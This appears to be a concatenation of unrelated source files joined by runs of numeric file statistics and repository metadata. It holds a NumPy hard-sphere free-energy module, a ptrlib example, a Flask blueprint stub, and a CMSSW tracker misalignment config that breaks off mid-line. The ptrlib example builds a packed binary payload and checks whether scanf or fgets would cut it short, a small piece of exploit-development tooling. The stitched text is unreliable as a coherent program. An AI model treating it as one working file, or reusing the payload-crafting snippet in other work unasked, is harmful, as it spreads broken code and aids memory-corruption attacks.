from __future__ import division, print_function, absolute_import import numpy as np # Hard sphere Eq A6 def ahs(xhi): xhi0, xhi1, xhi2, xhi3 = xhi xhi3_1 = 1-xhi3 xhi23 = xhi2**3 a = (xhi23/xhi3**2 - xhi0) * np.log(xhi3_1) a += 3 * xhi1 * xhi2 / xhi3_1 a += xhi23 / xhi3 / xhi3_1**2 a /= xhi0 return a def dahs_dxhi00(xhi, dxhi_dxhi00): xhi0, xhi1, xhi2, xhi3 = xhi dxhi0, dxhi1, dxhi2, dxhi3 = dxhi_dxhi00 xhi3_1 = 1-xhi3 xhi3_12 = xhi3_1**2 xhi3_13 = xhi3_12*xhi3_1 xhi23 = xhi2**3 a = (xhi23/xhi3**2 - xhi0) * np.log(xhi3_1) a += 3 * xhi1 * xhi2 / xhi3_1 a += xhi23 / xhi3 / xhi3_12 a /= xhi0 da = xhi2 * dxhi2**2 * (-3 + xhi3) da += 3 * dxhi1 * dxhi2 * -xhi3_1 da -= dxhi0 * dxhi3 * xhi3_12 da /= -xhi3_13 * dxhi0 return np.array([a, da]) def d2ahs_dxhi00(xhi, dxhi_dxhi00): xhi0, xhi1, xhi2, xhi3 = xhi dxhi0, dxhi1, dxhi2, dxhi3 = dxhi_dxhi00 xhi3_1 = 1-xhi3 xhi3_12 = xhi3_1**2 xhi3_13 = xhi3_12*xhi3_1 xhi3_14 = xhi3_13*xhi3_1 xhi23 = xhi2**3 dxhi22 = dxhi2**2 dxhi23 = dxhi22*dxhi2 a = (xhi23/xhi3**2 - xhi0) * np.log(xhi3_1) a += 3 * xhi1 * xhi2 / xhi3_1 a += xhi23 / xhi3 / xhi3_12 a /= xhi0 da = xhi2 * dxhi22 * (-3 + xhi3) da += 3 * dxhi1 * dxhi2 * -xhi3_1 da -= dxhi0 * dxhi3 * xhi3_12 da /= -xhi3_13 * dxhi0 d2a = -6 * dxhi1 * dxhi2 * dxhi3 * -xhi3_1 d2a += dxhi0 * dxhi3**2 * xhi3_12 d2a += dxhi23 * (3 + xhi3 * (4 - xhi3)) d2a /= xhi3_14 * dxhi0 return np.array([a, da, d2a]) def dahs_dx(xhi, dxhi_dx): xhi0, xhi1, xhi2, xhi3 = xhi dxhi0x, dxhi1x, dxhi2x, dxhi3x = dxhi_dx xhi3_1 = 1-xhi3 xhi3_12 = xhi3_1**2 xhi3_13 = xhi3_12*xhi3_1 log3 = np.log(xhi3_1) xhi02 = xhi0**2 xhi22 = xhi2**2 xhi23 = xhi22*xhi2 xhi32 = xhi3**2 xhi33 = xhi32*xhi3 a = (xhi23/xhi32 - xhi0) * log3 a += 3 * xhi1 * xhi2 / xhi3_1 a += xhi23 / xhi3 / xhi3_12 a /= xhi0 dax1 = -3*xhi0*xhi22 * (log3 + xhi3/xhi3_12) dax1 *= dxhi2x / xhi32 dax2 = (xhi2 * dxhi0x - xhi0 * dxhi2x) * -xhi3_1 dax2 += xhi0 * xhi2 * dxhi3x dax2 *= 3. * xhi1/xhi3_1 dax2 += 3 * xhi0 * xhi2 * dxhi1x dax2 += xhi02 * dxhi3x dax2 /= -xhi3_1 dax3 = log3 * dxhi0x - xhi0 * (-2 + xhi3)*dxhi3x/xhi3_12 dax3 *= xhi3 dax3 += 2*log3*xhi0*dxhi3x dax3 += xhi32 * (-xhi3_1*dxhi0x + 2*xhi0*dxhi3x)/-xhi3_13 dax3 *= (xhi23/xhi33) dax = dax1 + dax2 + dax3 dax /= -xhi02 return a, dax def dahs_dxxhi(xhi, dxhi_dxhi00, dxhi_dx): xhi0, xhi1, xhi2, xhi3 = xhi dxhi0, dxhi1, dxhi2, dxhi3 = dxhi_dxhi00 dxhi0x, dxhi1x, dxhi2x, dxhi3x = dxhi_dx xhi3_1 = 1-xhi3 xhi3_12 = xhi3_1**2 xhi3_13 = xhi3_12*xhi3_1 log3 = np.log(xhi3_1) xhi02 = xhi0**2 xhi22 = xhi2**2 xhi23 = xhi22*xhi2 xhi32 = xhi3**2 xhi33 = xhi32*xhi3 a = (xhi23/xhi32 - xhi0) * log3 a += 3 * xhi1 * xhi2 / xhi3_1 a += xhi23 / xhi3 / xhi3_12 a /= xhi0 da = xhi2 * dxhi2**2 * (-3 + xhi3) da += 3 * dxhi1 * dxhi2 * -xhi3_1 da -= dxhi0 * dxhi3 * xhi3_12 da /= -xhi3_13 * dxhi0 dax1 = -3*xhi0*xhi22 * (log3 + xhi3/xhi3_12) dax1 *= dxhi2x / xhi32 dax2 = (xhi2 * dxhi0x - xhi0 * dxhi2x) * -xhi3_1 dax2 += xhi0 * xhi2 * dxhi3x dax2 *= 3. * xhi1/xhi3_1 dax2 += 3 * xhi0 * xhi2 * dxhi1x dax2 += xhi02 * dxhi3x dax2 /= -xhi3_1 dax3 = log3 * dxhi0x - xhi0 * (-2 + xhi3)*dxhi3x/xhi3_12 dax3 *= xhi3 dax3 += 2*log3*xhi0*dxhi3x dax3 += xhi32 * (-xhi3_1*dxhi0x + 2*xhi0*dxhi3x)/-xhi3_13 dax3 *= (xhi23/xhi33) dax = dax1 + dax2 + dax3 dax /= -xhi02 return np.array([a, da]), dax
23.31677
64
0.563665
581
3,754
3.488812
0.104991
0.091268
0.059201
0.043414
0.854958
0.833251
0.814998
0.799704
0.799704
0.799704
0
0.209488
0.298082
3,754
160
65
23.4625
0.559772
0.004529
0
0.823529
0
0
0
0
0
0
0
0
0
1
0.042017
false
0
0.016807
0
0.10084
0.008403
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
0cd10e6ec36e613899f33c5d1935d66003800556
555
py
Python
examples/util/ex_hasspace.py
ptr-yudai/ptrlib
131a2a896e44cb5df09ad530451d02ea66b9aa26
[ "MIT" ]
57
2019-12-08T00:02:14.000Z
2022-03-24T20:40:40.000Z
examples/util/ex_hasspace.py
ptr-yudai/ptrlib
131a2a896e44cb5df09ad530451d02ea66b9aa26
[ "MIT" ]
3
2020-01-26T03:38:31.000Z
2020-06-21T13:42:46.000Z
examples/util/ex_hasspace.py
ptr-yudai/ptrlib
131a2a896e44cb5df09ad530451d02ea66b9aa26
[ "MIT" ]
8
2020-04-20T08:17:57.000Z
2021-10-04T06:04:51.000Z
#!/usr/bin/env python from ptrlib import * payload = 'Hello,\tWorld!' print("is_scanf_safe('{}')={}".format(payload, is_scanf_safe(payload))) is_scanf_safe(payload, warn=True) print("is_fgets_safe('{}')={}".format(payload, is_fgets_safe(payload))) is_fgets_safe(payload, warn=True) print("-"*10) payload = p64(0xdeadbeef) + p64(0x400a20) print("is_scanf_safe('{}')={}".format(payload, is_scanf_safe(payload))) is_scanf_safe(payload, warn=True) print("is_fgets_safe('{}')={}".format(payload, is_fgets_safe(payload))) is_fgets_safe(payload, warn=True)
29.210526
71
0.726126
81
555
4.679012
0.271605
0.189974
0.174142
0.200528
0.783641
0.770449
0.770449
0.770449
0.770449
0.770449
0
0.025048
0.064865
555
18
72
30.833333
0.705202
0.036036
0
0.666667
0
0
0.193609
0.165414
0
0
0.033835
0
0
1
0
false
0
0.083333
0
0.083333
0.416667
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
7
0b6e41fec375498c5d8fa3a23e3a4ceda90164f5
101
py
Python
app/rental_hub/__init__.py
HASSAN1A/Buy-Rent-Hub
2b8735647f57c98a8cfc91314caac9bcc4e1f91d
[ "MIT" ]
1
2021-05-28T14:03:18.000Z
2021-05-28T14:03:18.000Z
app/rental_hub/__init__.py
HASSAN1A/Buy-Rent-Hub
2b8735647f57c98a8cfc91314caac9bcc4e1f91d
[ "MIT" ]
null
null
null
app/rental_hub/__init__.py
HASSAN1A/Buy-Rent-Hub
2b8735647f57c98a8cfc91314caac9bcc4e1f91d
[ "MIT" ]
1
2020-11-05T13:33:51.000Z
2020-11-05T13:33:51.000Z
from flask import Blueprint rental_hub = Blueprint('rental_hub',__name__) from . import views,forms
20.2
45
0.80198
14
101
5.357143
0.642857
0.4
0.48
0
0
0
0
0
0
0
0
0
0.118812
101
5
46
20.2
0.842697
0
0
0
0
0
0.098039
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0.666667
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
1
0
7
e7e655083a072c357c70b21c7730d70fb70fae38
105,509
py
Python
Alignment/TrackerAlignment/python/Scenarios_cff.py
pasmuss/cmssw
566f40c323beef46134485a45ea53349f59ae534
[ "Apache-2.0" ]
null
null
null
Alignment/TrackerAlignment/python/Scenarios_cff.py
pasmuss/cmssw
566f40c323beef46134485a45ea53349f59ae534
[ "Apache-2.0" ]
null
null
null
Alignment/TrackerAlignment/python/Scenarios_cff.py
pasmuss/cmssw
566f40c323beef46134485a45ea53349f59ae534
[ "Apache-2.0" ]
null
null
null
import FWCore.ParameterSet.Config as cms import copy # for deepcopy used below # # This file contains all scenarios as blocks # A block can be included in a config file as: # using <block label> # in any place where a PSet could be used. # # See corresponding .cff files for examples. # # Note: following scenarios updated to new hierarchy # with CMSSW_1_7_0 (numbers only copied, scenarios were # not revised): 10/100/1000 pb-1, TrackerSurveyOnly, # TrackerSurveyLAS # # Hierarchylevels not used in this update: # TPBHalfBarrel # TPBBarrel # TPEEndcap # TIBSurface # TIBHalfShell # TIBHalfBarrel # TIBBarrel # TIDSide # TOBBarrel # TECRing # TECEndcap # ----------------------------------------------------------------------- # General settings common to all scenarios MisalignmentScenarioSettings = cms.PSet( setRotations = cms.bool(True), setTranslations = cms.bool(True), seed = cms.int32(1234567), distribution = cms.string('gaussian'), setError = cms.bool(True) ) # ----------------------------------------------------------------------- # "Misalignment" scenario without misalignment... NoMovementsScenario = cms.PSet( MisalignmentScenarioSettings ) #-------------------------------------------------------- # Move ring 7 of of TEC in localY by 1.33 mm def TECRing7Shift(shift): shift_Ring7_Units = cms.PSet( DetUnits = cms.PSet(dYlocal = cms.double(shift))) scenario = cms.PSet( MisalignmentScenarioSettings, TECEndcaps = cms.PSet( distribution = cms.string('fixed'), TECDisk1_2_3 = cms.PSet( TECRing7 = cms.PSet( shift_Ring7_Units )# TECRing7 ), TECDisk4_5_6 = cms.PSet( TECRing6 = cms.PSet( shift_Ring7_Units )# TECRing6 ), TECDisk7_8 = cms.PSet( TECRing5 = cms.PSet( shift_Ring7_Units )# TECRing5 ), TECDisk9 = cms.PSet( TECRing4 = cms.PSet( shift_Ring7_Units )# TECRing4 ) )#TECEndcaps )#scenario return scenario TECRing7Plus133mmScenario = TECRing7Shift(0.133) TECRing7Minus133mmScenario = TECRing7Shift(-0.133) # ----------------------------------------------------------------------- # LS1BPixRepairScenario # --------------------- # This scenario mimics the shifts introduced by the BPix repair work # during LS1. It contains only the aditional movements. It is intended # for use in realignment studies. # Object presented in the TkAlignment meeting of Oct 30, 2014 # https://indico.cern.ch/event/337181/, talk by Ekaterina Avdeeva # ----------------------------------------------------------------------- shift_0006_000027 = cms.PSet( dXlocal = cms.double(0.006), phiXlocal = cms.double(0.00027), dYlocal = cms.double(0.006), phiYlocal = cms.double(0.00027), dZlocal = cms.double(0.006), phiZlocal = cms.double(0.00027) )# end of shift_0006_000027 LS1BPixRepair_TPBHalfBarrel2 = cms.PSet( TPBHalfBarrel2=cms.PSet( TPBLayers=cms.PSet( dX= cms.double(0.01), dY= cms.double(0.01), dZ= cms.double(0.02), TPBLadders=cms.PSet( DetUnit1=cms.PSet( shift_0006_000027 ),#DetUnit1 DetUnit2=cms.PSet( shift_0006_000027 ),#DetUnit2 DetUnit3=cms.PSet( shift_0006_000027 ),#DetUnit3 DetUnit4=cms.PSet( shift_0006_000027 ) #DetUnit4 )#TPBLadders )#TPBLayers )#TPBHalfBarrel2 )# end of LS1BPixRepair_TPBHalfBarrel2 LS1BPixRepairScenario = cms.PSet( MisalignmentScenarioSettings, LS1BPixRepair_TPBHalfBarrel2 ) LS1BPixRepairAndTECRing7Plus133mmScenario = cms.PSet( TECRing7Plus133mmScenario, LS1BPixRepair_TPBHalfBarrel2 ) LS1BPixRepairAndTECRing7Minus133mmScenario = cms.PSet( TECRing7Minus133mmScenario, LS1BPixRepair_TPBHalfBarrel2 ) # ----------------------------------------------------------------------- # CSA14 scenario # See https://twiki.cern.ch/twiki/bin/viewauth/CMS/TkAl1402 for a # justification of these values. This scenario has to be applied on top # of an existing MC object, not on top of IDEAL. # This scenario has been used to produce the CSA14 50ns scenario # shift_0050_10em06 = cms.PSet( dXlocal = cms.double(0.0050), phiXlocal = cms.double(10e-06), dYlocal = cms.double(0.0050), phiYlocal = cms.double(10e-06), dZlocal = cms.double(0.0050), phiZlocal = cms.double(10e-06) )# end of shift_0050_10em06 TrackerCSA14_TPBHalfBarrel1 = cms.PSet( TPBHalfBarrel1 = cms.PSet( TPBLayer3 = cms.PSet( TPBLadder1 = cms.PSet( DetUnit1 = cms.PSet( shift_0050_10em06 ), DetUnit2 = cms.PSet( shift_0050_10em06 ), DetUnit3 = cms.PSet( shift_0050_10em06 ), DetUnit4 = cms.PSet( shift_0050_10em06 ), DetUnit5 = cms.PSet( shift_0050_10em06 ), DetUnit6 = cms.PSet( shift_0050_10em06 ), DetUnit7 = cms.PSet( shift_0050_10em06 ), DetUnit8 = cms.PSet( shift_0050_10em06 ), ), # TPBLadder1 TPBLadder3 = cms.PSet( DetUnit1 = cms.PSet( shift_0050_10em06 ), DetUnit2 = cms.PSet( shift_0050_10em06 ), DetUnit3 = cms.PSet( shift_0050_10em06 ), DetUnit4 = cms.PSet( shift_0050_10em06 ), ), # TPBLadder3 TPBLadder9 = cms.PSet( DetUnit6 = cms.PSet( shift_0050_10em06 ), DetUnit7 = cms.PSet( shift_0050_10em06 ), DetUnit8 = cms.PSet( shift_0050_10em06 ), ), # TPBLadder9 TPBLadder21 = cms.PSet( DetUnit1 = cms.PSet( shift_0050_10em06 ), DetUnit2 = cms.PSet( shift_0050_10em06 ), DetUnit3 = cms.PSet( shift_0050_10em06 ) )# TPBLadder21 )# TPBLayer3 )# TPBHalfBarrel1 )#end of TrackerCSA14_TPBHalfBarrel1 TrackerCSA14_BarrelsGeneralSettings = cms.PSet( distribution = cms.string('gaussian'), scale = cms.double(1.0), scaleError = cms.double(1.0), TPBHalfBarrels = cms.PSet( distribution = cms.string('flat'), dX = cms.double(0.0005), dY = cms.double(0.0010), dZ = cms.double(0.0050), phiX = cms.double(30e-6), phiY = cms.double(30e-06), phiZ = cms.double(30e-06)),# TPBHalfBarrels DetUnits = cms.PSet( dXlocal = cms.double(0.0001), dYlocal = cms.double(0.0001), dZlocal = cms.double(0.0001), phiXlocal = cms.double(0.5e-04), phiYlocal = cms.double(0.5e-04), phiZlocal = cms.double(0.5e-04))# DetUnits )#end of TrackerCSA14_BarrelsGeneralSettings shift_0010_10em06 = cms.PSet( dXlocal = cms.double(0.01), phiXlocal = cms.double(10e-06), dYlocal = cms.double(0.01), phiYlocal = cms.double(10e-06), dZlocal = cms.double(0.01), phiZlocal = cms.double(10e-06) )# end of shift_001_10em06 shift_00002_05em04 = cms.PSet( dXlocal = cms.double(0.0002), phiXlocal = cms.double(0.5e-04), dYlocal = cms.double(0.0002), phiYlocal = cms.double(0.5e-04), dZlocal = cms.double(0.0002), phiZlocal = cms.double(0.5e-04) )# end of shift_00002_05em04 TrackerCSA14_OtherThanBarrels = cms.PSet( TPEEndcap1 = cms.PSet( distribution = cms.string('gaussian'), scale = cms.double(1.0), scaleError = cms.double(1.0), dX = cms.double(0.01), dY = cms.double(0.01), dZ = cms.double(0.01), phiX = cms.double(10e-06), phiY = cms.double(10e-06), phiZ = cms.double(10e-06) ),#TPEEndcap1 TPEEndcap2 = cms.PSet( distribution = cms.string('gaussian'), scale = cms.double(1.0), scaleError = cms.double(1.0), TPEPanels = cms.PSet ( shift_0010_10em06 ), # TPEPanels TPEHalfCylinder1 = cms.PSet( TPEHalfDisk1 = cms.PSet( TPEBlade1 = cms.PSet( TPEPanel1 = cms.PSet( DetUnits = cms.PSet( shift_0010_10em06 )#DetUnits )# TPEPanel1 ), #TPEBlade1 TPEBlade8 = cms.PSet( TPEPanel2 = cms.PSet( DetUnits = cms.PSet( shift_0010_10em06 ) #DetUnits )# TPEPanel2 )#TPEBlade8 )#TPEHalfDisk1 ),#TPEHalfCylinder1 TPEHalfCylinder2 = cms.PSet( TPEHalfDisk1 = cms.PSet( TPEBlade9 = cms.PSet( TPEPanel2 = cms.PSet( DetUnits = cms.PSet( shift_0010_10em06 ) #DetUnits )# TPEPanel2 )#TPEBlade9 )#TPEHalfDisk1 )#TPEHalfCylinder2 ),#TPEEndcap2 TIBHalfBarrels = cms.PSet(distribution = cms.string('gaussian'), scale = cms.double(1.0), scaleError = cms.double(1.0), DetUnits = cms.PSet( shift_00002_05em04 )#DetUnits ), # TIBHalfBarrels TOBHalfBarrels = cms.PSet(distribution = cms.string('gaussian'), scale = cms.double(1.0), scaleError = cms.double(1.0), DetUnits = cms.PSet( dXlocal = cms.double(0.0005), dYlocal = cms.double(0.0005), dZlocal = cms.double(0.0005), phiXlocal = cms.double(0.5e-04), phiYlocal = cms.double(0.5e-04), phiZlocal = cms.double(0.5e-04),)#DetUnits ), # TOBHalfBarrels TIDEndcaps = cms.PSet(distribution = cms.string('gaussian'), scale = cms.double(1.0), scaleError = cms.double(1.0), DetUnits = cms.PSet( shift_00002_05em04 )#DetUnits ), # TIDEndcaps TECEndcaps = cms.PSet(distribution = cms.string('gaussian'), scale = cms.double(1.0), scaleError = cms.double(1.0), DetUnits = cms.PSet( shift_00002_05em04 )#DetUnits ) # TECEndcaps )#end of TrackerCSA14_OtherThanBarrels TrackerCSA14Scenario = cms.PSet( MisalignmentScenarioSettings, TrackerCSA14_OtherThanBarrels, TPBBarrels = cms.PSet( TrackerCSA14_BarrelsGeneralSettings, TrackerCSA14_TPBHalfBarrel1 )#TPBBarrels )#end of TrackerCSA14Scenario #------------------------------------------------------------------------ # merged TrackerCSA14 and LS1BPixRepair TrackerCSA14AndLS1BPixRepairScenario = cms.PSet( MisalignmentScenarioSettings, TrackerCSA14_OtherThanBarrels, TPBBarrels = cms.PSet( TrackerCSA14_BarrelsGeneralSettings, TrackerCSA14_TPBHalfBarrel1, LS1BPixRepair_TPBHalfBarrel2 )#TPBBarrels )#end of TrackerCSA14AndLS1BPixRepairScenario # ----------------------------------------------------------------------- # Example scenario (dummy movements) TrackerExampleScenario = cms.PSet( MisalignmentScenarioSettings, TOBHalfBarrel1 = cms.PSet( TOBLayers = cms.PSet( dX = cms.double(0.1) ), TOBLayer1 = cms.PSet( dX = cms.double(0.2) ) ), TOBHalfBarrels = cms.PSet( TOBLayer1 = cms.PSet( phiX = cms.double(0.03) ), dX = cms.double(0.2) ) ) # ----------------------------------------------------------------------- # 10 pb-1 misalignment scenario # See CMS IN 2007/036 # # first helper blocks for TEC: TECRings10pb_1D = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) TECRings10pb_2D = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) # now real scenario: Tracker10pbScenario = cms.PSet( MisalignmentScenarioSettings, TIBHalfBarrels = cms.PSet( TIBLayers = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(6.5e-05), dYlocal = cms.double(0.01), phiZlocal = cms.double(6.5e-05), dXlocal = cms.double(0.01), phiYlocal = cms.double(6.5e-05) ), scale = cms.double(1.0), TIBLayer3_4 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.018), phiXlocal = cms.double(0.000412), dYlocal = cms.double(0.018), phiZlocal = cms.double(0.000412), dXlocal = cms.double(0.018), phiYlocal = cms.double(0.000412) ) ), scaleError = cms.double(1.0), TIBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.018), phiXlocal = cms.double(0.000412), dYlocal = cms.double(0.018), phiZlocal = cms.double(0.000412), dXlocal = cms.double(0.018), phiYlocal = cms.double(0.000412) ) ), distribution = cms.string('gaussian'), TIBStrings = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(6.5e-05), dYlocal = cms.double(0.01), phiZlocal = cms.double(6.5e-05), dXlocal = cms.double(0.01), phiYlocal = cms.double(6.5e-05) ) ), TPBHalfBarrels = cms.PSet( scale = cms.double(1.0), DetUnits = cms.PSet( dZlocal = cms.double(0.006), phiXlocal = cms.double(0.00027), dYlocal = cms.double(0.006), phiZlocal = cms.double(0.00027), distribution = cms.string('gaussian'), dXlocal = cms.double(0.006), phiYlocal = cms.double(0.00027) ), TPBLayers = cms.PSet( phiXlocal = cms.double(7e-06), phiZlocal = cms.double(7e-06), dZ = cms.double(0.001), dX = cms.double(0.001), dY = cms.double(0.001), distribution = cms.string('gaussian'), phiYlocal = cms.double(7e-06) ), scaleError = cms.double(1.0), TPBLadders = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(7e-06), dYlocal = cms.double(0.001), phiZlocal = cms.double(7e-06), distribution = cms.string('gaussian'), dXlocal = cms.double(0.001), phiYlocal = cms.double(7e-06) ) ), TOBHalfBarrels = cms.PSet( scale = cms.double(1.0), TOBLayer3_4_5_6 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0032), phiXlocal = cms.double(7.5e-05), dYlocal = cms.double(0.0032), phiZlocal = cms.double(7.5e-05), dXlocal = cms.double(0.0032), phiYlocal = cms.double(7.5e-05) ) ), scaleError = cms.double(1.0), TOBLayers = cms.PSet( dXlocal = cms.double(0.0), dZlocal = cms.double(0.0), dYlocal = cms.double(0.0) ), TOBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0032), phiXlocal = cms.double(7.5e-05), dYlocal = cms.double(0.0032), phiZlocal = cms.double(7.5e-05), dXlocal = cms.double(0.0032), phiYlocal = cms.double(7.5e-05) ) ), TOBRods = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(4e-05), dYlocal = cms.double(0.01), phiZlocal = cms.double(4e-05), dXlocal = cms.double(0.01), phiYlocal = cms.double(4e-05) ), TOBHalfBarrels = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(1e-05), dYlocal = cms.double(0.006), phiZlocal = cms.double(1e-05), dXlocal = cms.double(0.006), phiYlocal = cms.double(1e-05) ), distribution = cms.string('gaussian') ), TECEndcaps = cms.PSet( scale = cms.double(1.0), TECDisk9 = cms.PSet( TECRing2 = cms.PSet( TECRings10pb_2D ), TECRing1_3_4 = cms.PSet( TECRings10pb_1D ) ), scaleError = cms.double(1.0), TECPetals = cms.PSet( dZlocal = cms.double(0.007), phiXlocal = cms.double(3e-05), dYlocal = cms.double(0.007), phiZlocal = cms.double(3e-05), dXlocal = cms.double(0.007), phiYlocal = cms.double(3e-05) ), TECDisks = cms.PSet( dZlocal = cms.double(0.015), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.006), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.006), phiYlocal = cms.double(1.5e-05) ), TECDisk4_5_6 = cms.PSet( TECRing2_3_5_6 = cms.PSet( TECRings10pb_1D ), TECRing1_4 = cms.PSet( TECRings10pb_2D ) ), TECDisk7_8 = cms.PSet( TECRing3 = cms.PSet( TECRings10pb_2D ), TECRing1_2_4_5 = cms.PSet( TECRings10pb_1D ) ), distribution = cms.string('gaussian'), TECDisk1_2_3 = cms.PSet( TECRing3_4_6_7 = cms.PSet( TECRings10pb_1D ), TECRing1_2_5 = cms.PSet( TECRings10pb_2D ) ) ), TPEEndcaps = cms.PSet( TPEPanels = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.001), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.001), phiYlocal = cms.double(0.0002) ), scale = cms.double(1.0), scaleError = cms.double(1.0), TPEHalfDisks = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.001), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.001), phiYlocal = cms.double(1.5e-05) ), DetUnits = cms.PSet( dZlocal = cms.double(0.0005), phiXlocal = cms.double(0.0001), dYlocal = cms.double(0.0005), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.0005), phiYlocal = cms.double(0.0001) ), TPEBlades = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.001), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.001), phiYlocal = cms.double(1.5e-05) ), distribution = cms.string('gaussian') ), TIDEndcaps = cms.PSet( scale = cms.double(1.0), scaleError = cms.double(1.0), TIDRings = cms.PSet( dZlocal = cms.double(0.0185), phiXlocal = cms.double(0.00085), dYlocal = cms.double(0.0185), phiZlocal = cms.double(0.00085), dXlocal = cms.double(0.0185), phiYlocal = cms.double(0.00085) ), TIDRing1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0054), phiXlocal = cms.double(0.00025), dYlocal = cms.double(0.0054), phiZlocal = cms.double(0.00025), dXlocal = cms.double(0.0054), phiYlocal = cms.double(0.00025) ) ), TIDDisks = cms.PSet( dZlocal = cms.double(0.025), phiXlocal = cms.double(0.00038), dYlocal = cms.double(0.025), phiZlocal = cms.double(0.00038), dXlocal = cms.double(0.025), phiYlocal = cms.double(0.00038) ), distribution = cms.string('gaussian'), TIDRing3 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0054), phiXlocal = cms.double(0.00025), dYlocal = cms.double(0.0054), phiZlocal = cms.double(0.00025), dXlocal = cms.double(0.0054), phiYlocal = cms.double(0.00025) ) ) ) ) # 100 pb-1 misalignment scenario # See CMS IN 2007/036 # first helper blocks for TEC: TECRings100pb_1D = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) TECRings100pb_2D = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0022), phiXlocal = cms.double(5e-05), dYlocal = cms.double(0.0022), phiZlocal = cms.double(5e-05), dXlocal = cms.double(0.0022), phiYlocal = cms.double(5e-05) ) ) # now real scenario: Tracker100pbScenario = cms.PSet( MisalignmentScenarioSettings, TIBHalfBarrels = cms.PSet( TIBLayers = cms.PSet( dZlocal = cms.double(0.0015), phiXlocal = cms.double(1e-05), dYlocal = cms.double(0.0015), phiZlocal = cms.double(1e-05), dXlocal = cms.double(0.0015), phiYlocal = cms.double(1e-05) ), scale = cms.double(1.0), TIBLayer3_4 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.003), phiXlocal = cms.double(7e-05), dYlocal = cms.double(0.003), phiZlocal = cms.double(7e-05), dXlocal = cms.double(0.003), phiYlocal = cms.double(7e-05) ) ), scaleError = cms.double(1.0), TIBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.003), phiXlocal = cms.double(7e-05), dYlocal = cms.double(0.003), phiZlocal = cms.double(7e-05), dXlocal = cms.double(0.003), phiYlocal = cms.double(7e-05) ) ), distribution = cms.string('gaussian'), TIBStrings = cms.PSet( dZlocal = cms.double(0.003), phiXlocal = cms.double(2e-05), dYlocal = cms.double(0.003), phiZlocal = cms.double(2e-05), dXlocal = cms.double(0.003), phiYlocal = cms.double(2e-05) ) ), TPBHalfBarrels = cms.PSet( scale = cms.double(1.0), DetUnits = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(4.5e-05), dYlocal = cms.double(0.001), phiZlocal = cms.double(4.5e-05), distribution = cms.string('gaussian'), dXlocal = cms.double(0.001), phiYlocal = cms.double(4.5e-05) ), TPBLayers = cms.PSet( phiXlocal = cms.double(3e-06), phiZlocal = cms.double(3e-06), dZ = cms.double(0.0005), dX = cms.double(0.0005), dY = cms.double(0.0005), distribution = cms.string('gaussian'), phiYlocal = cms.double(3e-06) ), scaleError = cms.double(1.0), TPBLadders = cms.PSet( dZlocal = cms.double(0.001), phiXlocal = cms.double(7e-06), dYlocal = cms.double(0.001), phiZlocal = cms.double(7e-06), distribution = cms.string('gaussian'), dXlocal = cms.double(0.001), phiYlocal = cms.double(7e-06) ) ), TOBHalfBarrels = cms.PSet( scale = cms.double(1.0), TOBLayer3_4_5_6 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.0032), phiXlocal = cms.double(7e-05), dYlocal = cms.double(0.0032), phiZlocal = cms.double(7e-05), dXlocal = cms.double(0.0032), phiYlocal = cms.double(7e-05) ) ), scaleError = cms.double(1.0), TOBLayers = cms.PSet( dXlocal = cms.double(0.0), dZlocal = cms.double(0.0), dYlocal = cms.double(0.0) ), TOBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.0032), phiXlocal = cms.double(7e-05), dYlocal = cms.double(0.0032), phiZlocal = cms.double(7e-05), dXlocal = cms.double(0.0032), phiYlocal = cms.double(7e-05) ) ), TOBRods = cms.PSet( dZlocal = cms.double(0.004), phiXlocal = cms.double(1.5e-05), dYlocal = cms.double(0.004), phiZlocal = cms.double(1.5e-05), dXlocal = cms.double(0.004), phiYlocal = cms.double(1.5e-05) ), TOBHalfBarrels = cms.PSet( dZlocal = 